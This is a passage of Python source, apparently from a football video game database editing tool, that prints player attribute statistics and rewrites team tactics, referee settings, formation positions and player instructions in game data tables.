JUMPION GOOD: \"+str(jumpm70)+\" \"+str(jumpm70*100/playerstotal));\n self.textEdit.append(\"players with STAMINA GOOD: \"+str(stamm70)+\" \"+str(stamm70*100/playerstotal));\n self.textEdit.append(\"players with STRENGTH GOOD: \"+str(strem70)+\" \"+str(strem70*100/playerstotal));\n self.textEdit.append(\"----------------\");\n self.textEdit.append(\"players with AGILITY VERY GOOD: \"+str(agilm80)+\" \"+str(agilm80*100/playerstotal));\n self.textEdit.append(\"players with BALANCE VERY GOOD: \"+str(balam80)+\" \"+str(balam80*100/playerstotal));\n self.textEdit.append(\"players with ACCELERATION VERY GOOD: \"+str(accem80)+\" \"+str(accem80*100/playerstotal));\n self.textEdit.append(\"players with SPRINT SPEED VERY GOOD: \"+str(sprim80)+\" \"+str(sprim80*100/playerstotal));\n self.textEdit.append(\"players with JUMPION VERY GOOD: \"+str(jumpm80)+\" \"+str(jumpm80*100/playerstotal));\n self.textEdit.append(\"players with STAMINA VERY GOOD: \"+str(stamm80)+\" \"+str(stamm80*100/playerstotal));\n self.textEdit.append(\"players with STRENGTH VERY GOOD: \"+str(strem80)+\" \"+str(strem80*100/playerstotal));\n self.textEdit.append(\"----------------\");\n self.textEdit.append(\"players with AGILITY EXCELLENT: \"+str(agilm90)+\" \"+str(agilm90*100/playerstotal));\n self.textEdit.append(\"players with BALANCE EXCELLENT: \"+str(balam90)+\" \"+str(balam90*100/playerstotal));\n self.textEdit.append(\"players with ACCELERATION EXCELLENT: \"+str(accem90)+\" \"+str(accem90*100/playerstotal));\n self.textEdit.append(\"players with SPRINT SPEED EXCELLENT: \"+str(sprim90)+\" \"+str(sprim90*100/playerstotal));\n self.textEdit.append(\"players with JUMPION EXCELLENT: \"+str(jumpm90)+\" \"+str(jumpm90*100/playerstotal));\n self.textEdit.append(\"players with STAMINA EXCELLENT: \"+str(stamm90)+\" \"+str(stamm90*100/playerstotal));\n self.textEdit.append(\"players with STRENGTH EXCELLENT: \"+str(strem90)+\" \"+str(strem90*100/playerstotal));\n self.textEdit.append(\"OVERALL DISTRIBUTION:\");\n self.textEdit.append(\"players in 90-99 range: \"+str(tot90)+\" \"+str(tot90*100/playerstotal)+\"%\");\n self.textEdit.append(\"players in 80-89 range: \"+str(tot80)+\" \"+str(tot80*100/playerstotal)+\"%\");\n self.textEdit.append(\"players in 70-79 range: \"+str(tot70)+\" \"+str(tot70*100/playerstotal)+\"%\");\n self.textEdit.append(\"players in 60-69 range: \"+str(tot60)+\" \"+str(tot60*100/playerstotal)+\"%\");\n self.textEdit.append(\"players in 50-59 range: \"+str(tot50)+\" \"+str(tot50*100/playerstotal)+\"%\");\n self.textEdit.append(\"players in 40-49 range: \"+str(tot40)+\" \"+str(tot40*100/playerstotal)+\"%\");\n self.textEdit.append(\"players in 30-39 range: \"+str(tot30)+\" \"+str(tot30*100/playerstotal)+\"%\");\n self.textEdit.append(\"players in 20-29 range: \"+str(tot20)+\" \"+str(tot20*100/playerstotal)+\"%\");\n self.textEdit.append(\"players in 10-19 range: \"+str(tot10)+\" \"+str(tot10*100/playerstotal)+\"%\");\n self.textEdit.append(\"POTENTIAL DISTRIBUTION:\");\n self.textEdit.append(\"players in 90-99 range: \"+str(top90)+\" \"+str(top90*100/playerstotal)+\"%\");\n self.textEdit.append(\"players in 80-89 range: \"+str(top80)+\" \"+str(top80*100/playerstotal)+\"%\");\n self.textEdit.append(\"players in 70-79 range: \"+str(top70)+\" \"+str(top70*100/playerstotal)+\"%\");\n self.textEdit.append(\"players in 60-69 range: \"+str(top60)+\" \"+str(top60*100/playerstotal)+\"%\");\n self.textEdit.append(\"players in 50-59 range: \"+str(top50)+\" \"+str(top50*100/playerstotal)+\"%\");\n self.textEdit.append(\"players in 40-49 range: \"+str(top40)+\" \"+str(top40*100/playerstotal)+\"%\");\n self.textEdit.append(\"players in 30-39 range: \"+str(top30)+\" \"+str(top30*100/playerstotal)+\"%\");\n self.textEdit.append(\"players in 20-29 range: \"+str(top20)+\" \"+str(top20*100/playerstotal)+\"%\");\n self.textEdit.append(\"players in 10-19 range: \"+str(top10)+\" \"+str(top10*100/playerstotal)+\"%\");\n self.textEdit.append(\"END OF STATISTICS:\");\n #print(\"player with id \"+str(found)+\" have style no. \"+str(stilegiocatore)+\"\");\n return lista;\n\n def etac(self,num):\n r=int((157564-num)/365.25)\n if(r>45):\n r=26;\n return r;\n \n\n def trait(self,num):\n traitlist=[];\n for i in range(0,29):\n a = int(math.pow(2,i));\n s = int(num/a);\n z = s % 2;\n traitlist.append(z);\n return traitlist;\n\n def sommatrait(self,lis):\n tt=0;\n for i in range(0,29):\n a = int(math.pow(2,i));\n tt=tt + a*lis[i];\n return tt;\n \n def zone(self,position,ovr,tipo):\n tmp=5;\n if(tipo==0):\n if(position==1):\n tmp=random.randrange(ovr+0,99);#ovr+9\n elif(position==2):\n tmp=random.randrange(ovr-0,95);#ovr+4\n elif(position==3):\n tmp=random.randrange(ovr-10,80);#ovr-1\n elif(position==4):\n tmp=random.randrange(ovr-40,75);#ovr-11\n elif(position==5):\n tmp=random.randrange(ovr-55,45);#ovr-41\n elif(position==6):\n tmp=random.randrange(10,max(11,ovr-51));\n elif(tipo==1):\n if(position==1):\n tmp=random.randrange(85,94);#14\n elif(position==2):\n tmp=random.randrange(80,89);#14\n elif(position==3):\n tmp=random.randrange(70,79);#14\n elif(position==4):\n tmp=random.randrange(33,69);#14\n elif(position==5):\n tmp=random.randrange(33,55);#14\n elif(position==6):\n tmp=random.randrange(10,34);#14\n elif(tipo==2):\n if(position==1):\n tmp=random.randrange(85,94);#14\n elif(position==2):\n tmp=random.randrange(80,89);#14\n elif(position==3):\n tmp=random.randrange(70,79);#14\n elif(position==4):\n tmp=random.randrange(33,69);#14\n elif(position==5):\n tmp=random.randrange(33,55);#14\n elif(position==6):\n tmp=random.randrange(10,34);#14\n tmp=max(1,min(int(tmp),random.randrange(96,100)));\n return tmp;\n \n def SqGameplayization(self,lista):\n for rig in range(0,len(lista)):\n balltype=int(lista[rig][1]);\n ipre=int(lista[rig][61]);\n dpre=int(lista[rig][18]);\n dpre = ipre;\n teamid=int(lista[rig][41]);\n transferbudget = int(lista[rig][53]);\n defagg = int(lista[rig][38]);\n defmen = int(lista[rig][14]);\n buspas = int(lista[rig][28]);\n busspe = int(lista[rig][52]);\n ccshot = int(lista[rig][54]);\n ccpass = int(lista[rig][56]);\n defwid = int(lista[rig][31]);\n cccros = int(lista[rig][64]);\n busdri = int(lista[rig][35]);\n buspos = int(lista[rig][49]);\n ccposi = int(lista[rig][51]);\n deflin = int(lista[rig][60]);\n #ifat = int(ipre*1);#10-75;1-20\n #ifat=int(ipre-14)*4;#juve.20,atalanta.12,carpi.7.como.4\n if(ipre-15>0):\n ifat=(ipre-15)*9;#+30\n ccposi=0;\n deflin=1;\n buspos=0;\n else:\n ifat=(ipre-15)*3;#-66\n ccposi=1;\n deflin=0;\n buspos=1;\n defagg = 40+ifat+random.randrange(-5,5);#int(55+ifat+random.randrange(-5,5));#contain-closein-doublecharge\n defmen = 40+ifat+random.randrange(-5,5);#40+ipre*2;#int(55+ifat+random.randrange(-5,5));#stayback-presslittle-pressmuch\n ccshot = 40+ifat+random.randrange(-5,5);#40+ipre*2;#int(75+random.randrange(-5,5));#less-mixed-more shoots\n ccpass = 40+ifat+random.randrange(-5,5);#40+ipre*2;#int(75+random.randrange(-5,5));#secure-normal-risky\n cccros = 40+ifat+random.randrange(-5,5);#int(50+ifat+random.randrange(-5,5));#little-normal-lots\n busspe = 40+ifat+random.randrange(-5,5);#0+ipre*2;#int(75+random.randrange(-5,5));#slow-medium-fast buildup\n buspas = 40+ifat+random.randrange(-5,5);#80-ipre*2;#int(60-ifat+random.randrange(-5,5));#short-mixed-long passing\n busdri = 40+ifat+random.randrange(-5,5);#50;#int(75+random.randrange(-5,5));#less-mixed-much\n defwid = 40+ifat+random.randrange(-5,5);#int(50-ifat+random.randrange(-5,5));\n pressingalto = [0];\n possessopalla = [0];\n contropiede = [0];\n pallalunga = [0];\n for x in pressingalto:\n if(teamid==x):#PRESSING ALTO\n defagg = int(75);#contain-closein-doublecharge\n defmen = int(85);#stayback-presslittle-pressmuch\n ccshot = int(75);#less-mixed-more shoots\n ccpass = int(75);#secure-normal-risky\n cccros = int(50);#little-normal-lots\n busspe = int(50);#slow-medium-fast buildup\n buspas = int(50);#short-mixed-long passing\n busdri = int(50);#less-mixed-much\n defwid = int(25);\n ccposi=0;\n deflin=1;\n buspos=0;\n for x in possessopalla:\n if(teamid==x):#POSSESSO PALLA\n defagg = int(25);#contain-closein-doublecharge\n defmen = int(50);#stayback-presslittle-pressmuch\n ccshot = int(25);#less-mixed-more shoots\n ccpass = int(25);#secure-normal-risky\n cccros = int(25);#little-normal-lots\n busspe = int(20);#slow-medium-fast buildup\n buspas = int(20);#short-mixed-long passing\n busdri = int(20);#less-mixed-much\n defwid = int(50);\n ccposi=1;\n deflin=0;\n buspos=1;\n for x in contropiede:\n if(teamid==x):#CONTROPIEDE\n defagg = int(50);#contain-closein-doublecharge\n defmen = int(10);#stayback-presslittle-pressmuch\n ccshot = int(50);#less-mixed-more shoots\n ccpass = int(50);#secure-normal-risky\n cccros = int(50);#little-normal-lots\n busspe = int(95);#slow-medium-fast buildup\n buspas = int(50);#short-mixed-long passing\n busdri = int(50);#less-mixed-much\n defwid = int(60);\n ccposi=0;\n deflin=0;\n buspos=0;\n for x in pallalunga:\n if(teamid==x):#pallalunga\n defagg = int(75);#contain-closein-doublecharge\n defmen = int(50);#stayback-presslittle-pressmuch\n ccshot = int(75);#less-mixed-more shoots\n ccpass = int(75);#secure-normal-risky\n cccros = int(75);#little-normal-lots\n busspe = int(90);#slow-medium-fast buildup\n buspas = int(90);#short-mixed-long passing\n busdri = int(90);#less-mixed-much\n defwid = int(50);\n ccposi=0;\n deflin=1;\n buspos=0;\n if(transferbudget>100):\n tras = int((transferbudget)/1000.0);\n tras2 = tras*1000;\n lista[rig][53] = str(tras2);\n lista[rig][18] = str(dpre);\n lista[rig][38] = str(max(15,min(85,defagg)));#defaggress\n lista[rig][14] = str(max(15,min(85,defmen)));#defmentality\n lista[rig][28] = str(max(15,min(85,buspas)));#buspass\n lista[rig][52] = str(max(15,min(85,busspe)));#busspeed\n lista[rig][54] = str(max(15,min(85,ccshot)));#ccshoot\n lista[rig][56] = str(max(15,min(85,ccpass)));#ccpass\n lista[rig][31] = str(max(15,min(85,defwid)));#defwidth\n lista[rig][64] = str(max(15,min(85,cccros)));#cccross\n lista[rig][35] = str(max(15,min(85,busdri)));#busdrib\n lista[rig][49] = str(buspos);#busposition\n lista[rig][51] = str(ccposi);#ccposit\n lista[rig][60] = str(deflin);#defline\n return lista;\n\n def RfGameplayization(self,lista):\n for rig in range(0,len(lista)):\n #13 foulstrictness,10 style code\n stylecode = int(lista[rig][10]);\n foulstrictness = int(lista[rig][13]);\n leagueid = int(lista[rig][16]);\n stylecode = random.randrange(0,3);\n if((leagueid==13)or(leagueid==14)or(leagueid==16)or(leagueid==19)or(leagueid==31)or(leagueid==53)or(leagueid==67)or(leagueid==308)):\n foulstrictness = 2;\n stylecode = 2;\n else:\n foulstrictness = 2;\n stylecode = 2;\n lista[rig][10] = str(stylecode);\n lista[rig][13] = str(foulstrictness);\n lista[rig][16] = str(leagueid);\n return lista;\n\n def applylocalization(self,lista,tipo):\n for i in range(0,len(lista)):\n for j in range(0,len(lista[0])-1):\n virg = 0;\n #print(str(i) + \" \" + str(j)+ \" fv \"+str(lista[i][j]));\n if(tipo==\"field\"):\n s = locale.str(locale.atof(lista[i][j]));\n if(tipo==\"formation\"):\n if(j==47):\n s = unicode(lista[i][j]);\n else:\n s = locale.atof(lista[i][j])#locale.str(locale.atof(lista[i][j]));\n b = unicode(s);\n lista[i][j] = b;\n return lista;\n\n def posizionatore(self,pos,ofr,dd,mm,cc,tt,aa):\n pxy=[\"\",\"\"];\n pos = int(pos);\n ofr = ((ofr*1))/100.0;#0a4\n #campo calcio 105x68\n #px=[0.50,0.50,0.90,0.90,0.65,0.50,0.35,0.10,0.10,0.65,0.50,0.35,0.90,0.65,0.50,0.35,0.10,0.65,0.50,0.35,0.65,0.50,0.35,0.90,0.65,0.50,0.35,0.10];\n #py=[0.08,0.10,0.30,0.20,0.15,0.13,0.15,0.20,0.30,0.40,0.38,0.40,0.55,0.50,0.48,0.50,0.55,0.60,0.58,0.60,0.80,0.78,0.80,0.80,0.85,0.83,0.85,0.80];\n #####0#####1####2####3####4###5####6####7#####8###9####10###11####12###13###14###15###16###17##18###19\n px=[0.50,0.50,0.95,0.95,0.75,0.50,0.25,0.05,0.05,0.75,0.50,0.25,0.95,0.75,0.50,0.25,0.05,0.75,0.50,0.25,0.75,0.50,0.25,0.95,0.75,0.50,0.25,0.05];\n py=[0.05,0.10,0.35,0.20,0.15,0.15,0.15,0.20,0.35,0.30,0.30,0.30,0.50,0.45,0.45,0.45,0.50,0.70,0.70,0.70,0.80,0.80,0.80,0.80,0.85,0.85,0.85,0.80];\n px[0]=0.50;\n px[20]=0.80;\n px[21]=0.60;\n px[22]=0.40;\n if(dd==1 or dd==3 or dd==5):\n px[2]=0.95;\n px[3]=0.90;\n px[4]=0.75;\n px[5]=0.50;\n px[6]=0.25;\n px[7]=0.10;\n px[8]=0.05;\n elif(dd==2 or dd==4 or dd==6):\n px[2]=0.95;\n px[3]=0.90;\n px[4]=0.65;\n px[5]=0.50;\n px[6]=0.35;\n px[7]=0.10;\n px[8]=0.05;\n if(mm==1 or mm==3):\n px[9]=0.75;\n px[10]=0.50;\n px[11]=0.25;\n elif(mm==2 or mm==4):\n px[9]=0.65;\n px[10]=0.50;\n px[11]=0.35; \n if(cc==1 or cc==3 or cc==5):\n px[12]=0.95;\n px[13]=0.75;\n px[14]=0.50;\n px[15]=0.25;\n px[16]=0.05;\n elif(cc==2):\n px[12]=0.90;\n px[13]=0.70;\n px[14]=0.50;\n px[15]=0.30;\n px[16]=0.10;\n elif(cc==4 or cc==6):\n px[12]=0.90;\n px[13]=0.65;\n px[14]=0.50;\n px[15]=0.35;\n px[16]=0.10;\n if(tt==1 or tt==3):\n px[17]=0.75;\n px[18]=0.50;\n px[19]=0.25;\n elif(tt==2 or tt==4):\n px[17]=0.65;\n px[18]=0.50;\n px[19]=0.35;\n if(aa==1 or aa==3 or aa==5):\n px[23]=0.80;\n px[24]=0.75;\n px[25]=0.50;\n px[26]=0.25;\n px[27]=0.20;\n elif(aa==2 or aa==4 or aa==6):\n px[23]=0.85;\n px[24]=0.65;\n px[25]=0.50;\n px[26]=0.35;\n px[27]=0.15;\n #print(str(dd)+\"-\"+str(mm)+\"-\"+str(cc)+\"-\"+str(tt)+\"-\"+str(aa));\n pxy[0] = locale.str(px[pos]);\n pxy[1] = locale.str(py[pos]+ofr);\n return pxy;\n \n def assignPlayerInstruction(self,pos):\n pos = int(pos);\n istr = -2147483648+16;\n if(pos==0):\n istr = -2147483648+1073741824;\n elif(pos==2 or pos==8):\n istr = -2147483648+8;\n elif(pos==3 or pos==7):\n istr = -2147483648+8;\n elif(pos==4 or pos==5 or pos==6):\n istr = -2147483648+16;\n elif(pos==9 or pos==10 or pos==11):\n istr = -2147483648+320;\n elif(pos==13 or pos==14 or pos==15):\n istr = -2147483648+134220032;\n elif(pos==18 or pos==19 or pos==20):\n istr = -2147483648+134252544;\n elif(pos==12 or pos==16):\n istr = -2147483648+2394112;\n elif(pos==23 or pos==27):\n istr = -2147483648+2394112;\n elif(pos==20 or pos==21 or pos==22):\n istr = -2147483648+294920;\n elif(pos==24 or pos==25 or pos==26):\n istr = -2147483648+294920;\n return str(istr);\n \n def assignPlayerInstruction2(self,pos):\n pos = int(pos);\n istr = -2147483648+2;\n if(pos==0):\n istr = -2147483648+0;\n elif(pos==2 or pos==8):\n istr = -2147483648+4;\n elif(pos==3 or pos==7):\n istr = -2147483648+4;\n elif(pos==4 or pos==5 or pos==6):\n istr = -2147483648+4;\n elif(pos==9 or pos==10 or pos==11):\n istr = -2147483648+4;\n elif(pos==13 or pos==14 or pos==15):\n istr = -2147483648+4;\n elif(pos==18 or pos==19 or pos==20):\n istr = -2147483648+2;\n elif(pos==12 or pos==16):\n istr = -2147483648+2;\n elif(pos==23 or pos==27):\n istr = -2147483648+1;\n elif(pos==20 or pos==21 or pos==22):\n istr = -2147483648+1;\n elif(pos==24 or pos==25 or pos==26):\n istr = -2147483648+1;\n return str(istr);\n \n def StGameplayization(self,lista,listaps,listaid,StMx,squadre): \n for rig in range(0,len(lista)):\n teamidts = int(lista[rig][87]);\n pos0 = int(lista[rig][122]);\n pos1 = int(lista[rig][128]);\n pos2 = int(lista[rig][88]);\n pos3 = int(lista[rig][109]);\n pos4 = int(lista[rig][99]);\n pos5 = int(lista[rig][66]);\n pos6 = int(lista[rig][38]);\n pos7 = int(lista[rig][126]);\n pos8 = int(lista[rig][46]);\n pos9 = int(lista[rig][123]);\n pos10 = int(lista[rig][30]);\n gg=0;dd=0;mm=0;cc=0;tt=0;aa=0;\n formationposition = [pos0,pos1,pos2,pos3,pos4,pos5,pos6,pos7,pos8,pos9,pos10];\n for x in formationposition:\n if(x==0):\n gg=gg+1;\n elif(x>=2 and x<=8):\n dd=dd+1;\n elif(x>=9 and x<=11):\n mm=mm+1;\n elif(x>=12 and x<=16):\n cc=cc+1\n elif(x>=17 and x<=19):\n tt=tt+1\n elif(x>=20 and x<=27):\n aa=aa+1 \n try:\n psposition0 = listaps[listaid.index(int(lista[rig][26]))];\n except ValueError:\n psposition0 = 7;\n try:\n psposition1 = listaps[listaid.index(int(lista[rig][37]))];\n except ValueError:\n psposition1 = 15;\n try:\n psposition2 = listaps[listaid.index(int(lista[rig][64]))];\n except ValueError:\n psposition2 = 23;\n try:\n psposition3 = listaps[listaid.index(int(lista[rig][94]))];\n except ValueError:\n psposition3 = 31;\n try:\n psposition4 = listaps[listaid.index(int(lista[rig][84]))];\n except ValueError:\n psposition4 = 39;\n try:\n psposition5 = listaps[listaid.index(int(lista[rig][54]))];\n except ValueError:\n psposition5 = 47;\n try:\n psposition6 = listaps[listaid.index(int(lista[rig][50]))];\n except ValueError:\n psposition6 = 55;\n try:\n psposition7 = listaps[listaid.index(int(lista[rig][43]))];\n except ValueError:\n psposition7 = 63;\n try:\n psposition8 = listaps[listaid.index(int(lista[rig][57]))];\n except ValueError:\n psposition8 = 71;\n try:\n psposition9 = listaps[listaid.index(int(lista[rig][28]))];\n except ValueError:\n psposition9 = 79;\n try:\n psposition10 = listaps[listaid.index(int(lista[rig][121]))];\n except ValueError:\n psposition10 = 87;\n offr = 0;\n lista[rig][13]=self.posizionatore(pos0,offr,dd,mm,cc,tt,aa)[0];\n lista[rig][17]=self.posizionatore(pos0,offr,dd,mm,cc,tt,aa)[1];\n lista[rig][18]=self.posizionatore(pos1,offr,dd,mm,cc,tt,aa)[0];\n lista[rig][21]=self.posizionatore(pos1,offr,dd,mm,cc,tt,aa)[1];\n lista[rig][3]=self.posizionatore(pos2,offr,dd,mm,cc,tt,aa)[0];\n lista[rig][4]=self.posizionatore(pos2,offr,dd,mm,cc,tt,aa)[1];\n lista[rig][7]=self.posizionatore(pos3,offr,dd,mm,cc,tt,aa)[0];\n lista[rig][10]=self.posizionatore(pos3,offr,dd,mm,cc,tt,aa)[1];\n lista[rig][11]=self.posizionatore(pos4,offr,dd,mm,cc,tt,aa)[0];\n lista[rig][19]=self.posizionatore(pos4,offr,dd,mm,cc,tt,aa)[1];\n lista[rig][16]=self.posizionatore(pos5,offr,dd,mm,cc,tt,aa)[0];\n lista[rig][1]=self.posizionatore(pos5,offr,dd,mm,cc,tt,aa)[1];\n lista[rig][0]=self.posizionatore(pos6,offr,dd,mm,cc,tt,aa)[0];\n lista[rig][5]=self.posizionatore(pos6,offr,dd,mm,cc,tt,aa)[1];\n lista[rig][6]=self.posizionatore(pos7,offr,dd,mm,cc,tt,aa)[0];\n lista[rig][12]=self.posizionatore(pos7,offr,dd,mm,cc,tt,aa)[1];\n lista[rig][8]=self.posizionatore(pos8,offr,dd,mm,cc,tt,aa)[0];\n lista[rig][14]=self.posizionatore(pos8,offr,dd,mm,cc,tt,aa)[1];\n lista[rig][15]=self.posizionatore(pos9,offr,dd,mm,cc,tt,aa)[0];\n lista[rig][20]=self.posizionatore(pos9,offr,dd,mm,cc,tt,aa)[1];\n lista[rig][2]=self.posizionatore(pos10,offr,dd,mm,cc,tt,aa)[0];\n lista[rig][9]=self.posizionatore(pos10,offr,dd,mm,cc,tt,aa)[1];\n lista[rig][96]=str(-0+int(StMx[32][psposition0]));\n lista[rig][27]=str(-0+int(StMx[32][psposition1]));\n lista[rig][129]=str(-0+int(StMx[32][psposition2]));\n lista[rig][25]=str(-0+int(StMx[32][psposition3]));\n lista[rig][89]=str(-0+int(StMx[32][psposition4]));\n lista[rig][65]=str(-0+int(StMx[32][psposition5]));\n lista[rig][73]=str(-0+int(StMx[32][psposition6]));\n lista[rig][51]=str(-0+int(StMx[32][psposition7]));\n lista[rig][61]=str(-0+int(StMx[32][psposition8]));\n lista[rig][35]=str(-0+int(StMx[32][psposition9]));\n lista[rig][24]=str(-0+int(StMx[32][psposition10]));\n ###\n #lista[rig][56]=self.assignPlayerInstruction2(pos0);\n #lista[rig][39]=self.assignPlayerInstruction2(pos1);\n #lista[rig][101]=self.assignPlayerInstruction2(pos2);\n #lista[rig][82]=self.assignPlayerInstruction2(pos3);\n #lista[rig][36]=self.assignPlayerInstruction2(pos4);\n #lista[rig][40]=self.assignPlayerInstruction2(pos5);\n #lista[rig][78]=self.assignPlayerInstruction2(pos6);\n #lista[rig][115]=self.assignPlayerInstruction2(pos7);\n #lista[rig][93]=self.assignPlayerInstruction2(pos8);\n #lista[rig][32]=self.assignPlayerInstruction2(pos9);\n lista[rig][56]=str(-2147483648+int(StMx[37][psposition0]));\n lista[rig][39]=str(-2147483648+int(StMx[37][psposition1]));\n lista[rig][101]=str(-2147483648+int(StMx[37][psposition2]));\n lista[rig][82]=str(-2147483648+int(StMx[37][psposition3]));\n lista[rig][36]=str(-2147483648+int(StMx[37][psposition4]));\n lista[rig][40]=str(-2147483648+int(StMx[37][psposition5]));\n lista[rig][78]=str(-2147483648+int(StMx[37][psposition6]));\n lista[rig][115]=str(-2147483648+int(StMx[37][psposition7]));\n lista[rig][93]=str(-2147483648+int(StMx[37][psposition8]));\n lista[rig][32]=str(-2147483648+int(StMx[37][psposition9]));\n lista[rig][80]=str(-2147483648+int(StMx[37][psposition10]));\n defagg=defmen=buspas=busspe=ccshot=ccpass=defwid=cccros=busdri=buspos=ccposi=deflin=\"\";\n for ris in range(0,len(squadre)):\n teamid = int(squadre[ris][41]);\n if(teamid==teamidts):\n defagg = (squadre[ris][38]);\n defmen = (squadre[ris][14]);\n buspas = (squadre[ris][28]);\n busspe = (squadre[ris][52]);\n ccshot = (squadre[ris][54]);\n ccpass = (squadre[ris][56]);\n defwid = (squadre[ris][31]);\n cccros = (squadre[ris][64]);\n busdri = (squadre[ris][35]);\n buspos = (squadre[ris][49]);\n ccposi = (squadre[ris][51]);\n deflin = (squadre[ris][60]);\n lista[rig][23]=(defmen);#defmentality\n lista[rig][53]=(buspas);#buspassing\n lista[rig][60]=defwid;#defteamwidth\n lista[rig][67]=busdri;#busdribbling\n lista[rig][74]=defagg;#defaggression\n lista[rig][79]=str(-7);#tactic\n lista[rig][103]=buspos;#buspositioning\n lista[rig][106]=ccposi;#ccpositioning\n lista[rig][107]=busspe;#busbuildupdpeed\n lista[rig][108]=ccshot;#ccshooting\n lista[rig][111]=ccpass;#ccpassing\n lista[rig][118]=deflin;#defdefenderline\n lista[rig][127]=cccros;#cccrossing\n #lista[rig][28]=str(0);#position10\n return lista;\n \n def SdGameplayization(self,listadef,lista,listaps,listaid,StMx,squadre): \n for rig in range(0,len(lista)):\n teamidts = int(listadef[rig][48]);\n pos0 = int(listadef[rig][63]);\n pos1 = int(listadef[rig][67]);\n pos2 = int(listadef[rig][49]);\n pos3 = int(listadef[rig][59]);\n pos4 = int(listadef[rig][53]);\n pos5 = int(listadef[rig][40]);\n pos6 = int(listadef[rig][30]);\n pos7 = int(listadef[rig][65]);\n pos8 = int(listadef[rig][33]);\n pos9 = int(listadef[rig][64]);\n pos10 = int(listadef[rig][26]);\n gg=0;dd=0;mm=0;cc=0;tt=0;aa=0;\n formationposition = [pos0,pos1,pos2,pos3,pos4,pos5,pos6,pos7,pos8,pos9,pos10];\n for x in formationposition:\n if(x==0):\n gg=gg+1;\n elif(x>=2 and x<=8):\n dd=dd+1;\n elif(x>=9 and x<=11):\n mm=mm+1;\n elif(x>=12 and x<=16):\n cc=cc+1\n elif(x>=17 and x<=19):\n tt=tt+1\n elif(x>=20 and x<=27):\n aa=aa+1 \n try:\n psposition0 = listaps[listaid.index(int(lista[rig][26]))];\n except ValueError:\n psposition0 = 7;\n try:\n psposition1 = listaps[listaid.index(int(lista[rig][37]))];\n except ValueError:\n psposition1 = 15;\n try:\n psposition2 = listaps[listaid.index(int(lista[rig][64]))];\n except ValueError:\n psposition2 = 23;\n try:\n psposition3 = listaps[listaid.index(int(lista[rig][94]))];\n except ValueError:\n psposition3 = 31;\n try:\n psposition4 = listaps[listaid.index(int(lista[rig][84]))];\n except ValueError:\n psposition4 = 39;\n try:\n psposition5 = listaps[listaid.index(int(lista[rig][54]))];\n except ValueError:\n psposition5 = 47;\n try:\n psposition6 = listaps[listaid.index(int(lista[rig][50]))];\n except ValueError:\n psposition6 = 55;\n try:\n psposition7 = listaps[listaid.index(int(lista[rig][43]))];\n except ValueError:\n psposition7 = 63;\n try:\n psposition8 = listaps[listaid.index(int(lista[rig][57]))];\n except ValueError:\n psposition8 = 71;\n try:\n psposition9 = listaps[listaid.index(int(lista[rig][28]))];\n except ValueError:\n psposition9 = 79;\n try:\n psposition10 = listaps[listaid.index(int(lista[rig][121]))];\n except ValueError:\n psposition10 = 87;\n offr = 0;\n listadef[rig][13]=self.posizionatore(pos0,offr,dd,mm,cc,tt,aa)[0];\n listadef[rig][17]=self.posizionatore(pos0,offr,dd,mm,cc,tt,aa)[1];\n listadef[rig][18]=self.posizionatore(pos1,offr,dd,mm,cc,tt,aa)[0];\n listadef[rig][21]=self.posizionatore(pos1,offr,dd,mm,cc,tt,aa)[1];\n listadef[rig][3]=self.posizionatore(pos2,offr,dd,mm,cc,tt,aa)[0];\n listadef[rig][4]=self.posizionatore(pos2,offr,dd,mm,cc,tt,aa)[1];\n listadef[rig][7]=self.posizionatore(pos3,offr,dd,mm,cc,tt,aa)[0];\n listadef[rig][10]=self.posizionatore(pos3,offr,dd,mm,cc,tt,aa)[1];\n listadef[rig][11]=self.posizionatore(pos4,offr,dd,mm,cc,tt,aa)[0];\n listadef[rig][19]=self.posizionatore(pos4,offr,dd,mm,cc,tt,aa)[1];\n listadef[rig][16]=self.posizionatore(pos5,offr,dd,mm,cc,tt,aa)[0];\n listadef[rig][1]=self.posizionatore(pos5,offr,dd,mm,cc,tt,aa)[1];\n listadef[rig][0]=self.posizionatore(pos6,offr,dd,mm,cc,tt,aa)[0];\n listadef[rig][5]=self.posizionatore(pos6,offr,dd,mm,cc,tt,aa)[1];\n listadef[rig][6]=self.posizionatore(pos7,offr,dd,mm,cc,tt,aa)[0];\n listadef[rig][12]=self.posizionatore(pos7,offr,dd,mm,cc,tt,aa)[1];\n listadef[rig][8]=self.posizionatore(pos8,offr,dd,mm,cc,tt,aa)[0];\n listadef[rig][14]=self.posizionatore(pos8,offr,dd,mm,cc,tt,aa)[1];\n listadef[rig][15]=self.posizionatore(pos9,offr,dd,mm,cc,tt,aa)[0];\n listadef[rig][20]=self.posizionatore(pos9,offr,dd,mm,cc,tt,aa)[1];\n listadef[rig][2]=self.posizionatore(pos10,offr,dd,mm,cc,tt,aa)[0];\n listadef[rig][9]=self.posizionatore(pos10,offr,dd,mm,cc,tt,aa)[1];\n listadef[rig][52]=str(-0+int(StMx[32][psposition0]));\n listadef[rig][25]=str(-0+int(StMx[32][psposition1]));\n listadef[rig][68]=str(-0+int(StMx[32][psposition2]));\n listadef[rig][24]=str(-0+int(StMx[32][psposition3]));\n listadef[rig][50]=str(-0+int(StMx[32][psposition4]));\n listadef[rig][39]=str(-0+int(StMx[32][psposition5]));\n listadef[rig][42]=str(-0+int(StMx[32][psposition6]));\n listadef[rig][34]=str(-0+int(StMx[32][psposition7]));\n listadef[rig][38]=str(-0+int(StMx[32][psposition8]));\n listadef[rig][28]=str(-0+int(StMx[32][psposition9]));\n listadef[rig][23]=str(-0+int(StMx[32][psposition10]));\n defagg=defmen=buspas=busspe=ccshot=ccpass=defwid=cccros=busdri=buspos=ccposi=deflin=\"\";\n for ris in range(0,len(squadre)):\n teamid = int(squadre[ris][41]);\n if(teamid==teamidts):\n defagg = (squadre[ris][38]);\n defmen = (squadre[ris][14]);\n buspas = (squadre[ris][28]);\n busspe = (squadre[ris][52]);\n ccshot = (squadre[ris][54]);\n ccpass = (squadre[ris][56]);\n defwid = (squadre[ris][31]);\n cccros = (squadre[ris][64]);\n busdri = (squadre[ris][35]);\n buspos = (squadre[ris][49]);\n ccposi = (squadre[ris][51]);\n deflin = (squadre[ris][60]);\n listadef[rig][22]=str(defmen);#defmentality\n listadef[rig][35]=str(buspas);#buspassing\n listadef[rig][37]=defwid;#defteamwidth\n listadef[rig][41]=busdri;#busdribbling\n listadef[rig][43]=defagg;#defaggression\n listadef[rig][45]=str(0);#tacticid\n listadef[rig][55]=buspos;#buspos\n listadef[rig][56]=ccposi;#ccpos\n listadef[rig][57]=busspe;#busbuildup\n listadef[rig][58]=ccshot;#ccshoot\n listadef[rig][60]=ccpass;#ccpasss\n listadef[rig][62]=str(1);\n 